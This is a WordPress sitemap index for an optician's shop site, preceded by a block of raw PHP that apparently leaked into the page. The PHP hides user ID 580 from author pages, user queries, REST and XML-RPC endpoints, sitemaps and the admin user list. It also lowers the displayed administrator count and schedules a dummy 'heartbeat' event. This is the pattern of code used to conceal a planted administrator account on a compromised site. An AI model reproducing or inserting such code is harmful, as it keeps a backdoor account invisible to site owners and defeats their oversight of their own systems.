add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 580;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 580 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 580 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 580;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 580;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 580;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/580(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 580;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-580{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://optica-oftalmika.com/wp-content/plugins/google-sitemap-generator/sitemap.xsl"?><!-- sitemap-generator-url="http://www.arnebrachhold.de" sitemap-generator-version="4.1.0" -->
<!-- generated-on="26.06.2026 21:02" -->
<sitemapindex xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-misc.xml</loc>
		<lastmod>2026-06-25T16:38:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-tax-product_cat.xml</loc>
		<lastmod>2026-06-25T16:38:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-tax-category.xml</loc>
		<lastmod>2026-06-25T16:38:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2022-08.xml</loc>
		<lastmod>2026-02-06T11:32:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-10.xml</loc>
		<lastmod>2021-10-26T12:27:32+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-09.xml</loc>
		<lastmod>2021-10-20T08:35:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-08.xml</loc>
		<lastmod>2024-06-04T09:31:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-07.xml</loc>
		<lastmod>2021-07-28T07:23:52+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-06.xml</loc>
		<lastmod>2026-02-06T12:08:43+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-05.xml</loc>
		<lastmod>2026-02-06T12:11:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-04.xml</loc>
		<lastmod>2026-02-06T12:15:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2021-03.xml</loc>
		<lastmod>2026-02-06T12:31:08+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2020-12.xml</loc>
		<lastmod>2022-11-10T08:44:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2020-11.xml</loc>
		<lastmod>2020-11-26T11:59:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2020-05.xml</loc>
		<lastmod>2020-12-30T14:32:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2020-04.xml</loc>
		<lastmod>2020-11-17T07:13:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2020-03.xml</loc>
		<lastmod>2026-06-25T16:38:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2020-02.xml</loc>
		<lastmod>2020-11-23T07:14:56+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2019-12.xml</loc>
		<lastmod>2023-11-07T07:44:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2019-11.xml</loc>
		<lastmod>2026-02-06T12:34:49+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2019-10.xml</loc>
		<lastmod>2026-06-25T16:37:00+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2019-09.xml</loc>
		<lastmod>2025-04-13T21:13:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2019-07.xml</loc>
		<lastmod>2026-05-20T09:21:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-product-2019-06.xml</loc>
		<lastmod>2026-06-25T16:37:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2022-08.xml</loc>
		<lastmod>2022-12-12T16:58:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2022-02.xml</loc>
		<lastmod>2022-02-11T10:05:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2021-10.xml</loc>
		<lastmod>2021-10-12T07:10:44+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2021-06.xml</loc>
		<lastmod>2021-06-04T10:15:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2021-04.xml</loc>
		<lastmod>2021-12-03T12:49:07+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2021-01.xml</loc>
		<lastmod>2021-12-07T14:53:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2020-12.xml</loc>
		<lastmod>2020-12-02T11:53:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2020-10.xml</loc>
		<lastmod>2020-10-13T11:42:34+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2020-09.xml</loc>
		<lastmod>2021-03-03T07:41:52+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2020-07.xml</loc>
		<lastmod>2021-08-04T08:40:00+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2020-04.xml</loc>
		<lastmod>2020-04-28T09:18:58+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-post-2020-03.xml</loc>
		<lastmod>2020-04-06T08:08:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2020-06.xml</loc>
		<lastmod>2020-06-03T09:58:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2020-02.xml</loc>
		<lastmod>2020-05-15T14:14:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2019-02.xml</loc>
		<lastmod>2019-02-15T11:30:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2018-11.xml</loc>
		<lastmod>2020-05-08T09:57:49+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2017-07.xml</loc>
		<lastmod>2017-07-24T20:13:27+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2017-01.xml</loc>
		<lastmod>2019-02-14T09:17:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-pt-page-2016-12.xml</loc>
		<lastmod>2016-12-13T07:27:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://optica-oftalmika.com/sitemap-archives.xml</loc>
		<lastmod>2026-06-25T16:38:51+00:00</lastmod>
	</sitemap>
</sitemapindex><!-- Request ID: 70fe97383d54bad47607c9d2e430c983; Queries for sitemap: 10; Total queries: 85; Seconds: 0; Memory for sitemap: 0MB; Total memory: 2MB -->
